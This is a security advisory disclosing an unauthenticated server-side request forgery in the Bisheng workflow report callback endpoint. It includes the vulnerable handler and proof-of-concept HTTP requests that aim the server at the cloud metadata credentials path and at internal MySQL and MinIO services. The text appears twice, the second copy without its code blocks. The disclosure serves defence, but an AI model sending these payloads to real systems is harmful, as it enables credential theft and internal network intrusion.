reported on 1 June 2026 https://github.com/dataelement/bisheng/security/advisories/GHSA-mh3h-jrgm-pv34 - no response.
Summary
The endpoint POST /api/v1/workflow/report/callback accepts an arbitrary URL and fetches its content on behalf of the server without requiring any authentication. An unauthenticated attacker can use this to probe internal network services, access cloud metadata APIs (AWS IMDSv1, GCP metadata), and exfiltrate responses by having the server store the fetched content in MinIO under an attacker-controlled key name.
Details
The handler in src/backend/bisheng/api/v1/workflow.py (lines 113-134) has no authentication dependency:
@router.post('/report/callback', status_code=200)
async def upload_report_file(
request: Request,
data: dict = Body(...)):
status = data.get('status')
file_url = data.get('url')
key = data.get('key')
if status not in {2, 6}:
return {'error': 0}
file = Requests().get(url=file_url) # unauthenticated SSRF
version_key = key.split('_', 1)[0]
minio_client = await get_minio_storage()
object_name = f"workflow/report/{version_key}.docx"
await minio_client.put_object(
object_name=object_name, file=file._content, ...)
return {'error': 0}
Compare with the adjacent endpoint GET /api/v1/workflow/report/file, which correctly requires login_user: UserPayload = Depends(UserPayload.get_login_user). The callback endpoint was designed for an Office document editor webhook and was left without auth.
Requests().get(url) is the bisheng-langchain HTTP client with no IP allowlist, no URL scheme restriction, and no timeout short enough to prevent metadata endpoint probing:
def get(self, url: str, **kwargs):
return requests.get(url, headers=self.headers, auth=self.auth,
timeout=self.request_timeout, ...)
The response body is stored in MinIO at workflow/report/<key>.docx, and can be retrieved via the authenticated GET /api/v1/workflow/report/file?workflow_id=<any>&version_key=<key> endpoint (or directly from the MinIO public bucket).
PoC
No authentication cookie required.
Step 1 -- Probe the AWS instance metadata service:
POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json
{"status": 2, "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "key": "probe123"}
If the server is on AWS, the response body (containing IAM credentials) is stored in MinIO at workflow/report/probe123.docx.
Step 2 -- Probe internal services (confirmed against internal MySQL on port 3306):
POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json
{"status": 2, "url": "http://bisheng-mysql:3306/", "key": "mysqlprobe"}
Response (HTTP 200): server returns 500 with the MySQL banner bytes in the error message, confirming the port is open and reachable.
Step 3 -- Confirm SSRF against accessible internal HTTP service (MinIO):
POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json
{"status": 2, "url": "http://bisheng-minio:9000/", "key": "miniocheck"}
Response: {"error": 0} -- request succeeded; MinIO root listing stored in MinIO.
Impact
An unauthenticated attacker can:
- Enumerate and probe all services on the internal network by observing response codes and error messages.
- Read responses from services that respond to HTTP GET (MinIO, Elasticsearch, etcd, Milvus health endpoints, cloud metadata APIs).
- On AWS/GCP/Azure deployments, retrieve IAM credentials from the instance metadata service and pivot to cloud resource takeover.
- Store response content in MinIO under any filename, potentially poisoning other application data.
No account, token, or prior knowledge of the system is required beyond network access to the API port.
reported on 1 June 2026 https://github.com/dataelement/bisheng/security/advisories/GHSA-mh3h-jrgm-pv34 - no response.
Summary
The endpoint
POST /api/v1/workflow/report/callbackaccepts an arbitrary URL and fetches its content on behalf of the server without requiring any authentication. An unauthenticated attacker can use this to probe internal network services, access cloud metadata APIs (AWS IMDSv1, GCP metadata), and exfiltrate responses by having the server store the fetched content in MinIO under an attacker-controlled key name.Details
The handler in
src/backend/bisheng/api/v1/workflow.py(lines 113-134) has no authentication dependency:Compare with the adjacent endpoint
GET /api/v1/workflow/report/file, which correctly requireslogin_user: UserPayload = Depends(UserPayload.get_login_user). The callback endpoint was designed for an Office document editor webhook and was left without auth.Requests().get(url)is the bisheng-langchain HTTP client with no IP allowlist, no URL scheme restriction, and no timeout short enough to prevent metadata endpoint probing:The response body is stored in MinIO at
workflow/report/<key>.docx, and can be retrieved via the authenticatedGET /api/v1/workflow/report/file?workflow_id=<any>&version_key=<key>endpoint (or directly from the MinIO public bucket).PoC
No authentication cookie required.
Step 1 -- Probe the AWS instance metadata service:
If the server is on AWS, the response body (containing IAM credentials) is stored in MinIO at
workflow/report/probe123.docx.Step 2 -- Probe internal services (confirmed against internal MySQL on port 3306):
Response (HTTP 200): server returns 500 with the MySQL banner bytes in the error message, confirming the port is open and reachable.
Step 3 -- Confirm SSRF against accessible internal HTTP service (MinIO):
Response:
{"error": 0}-- request succeeded; MinIO root listing stored in MinIO.Impact
An unauthenticated attacker can:
No account, token, or prior knowledge of the system is required beyond network access to the API port.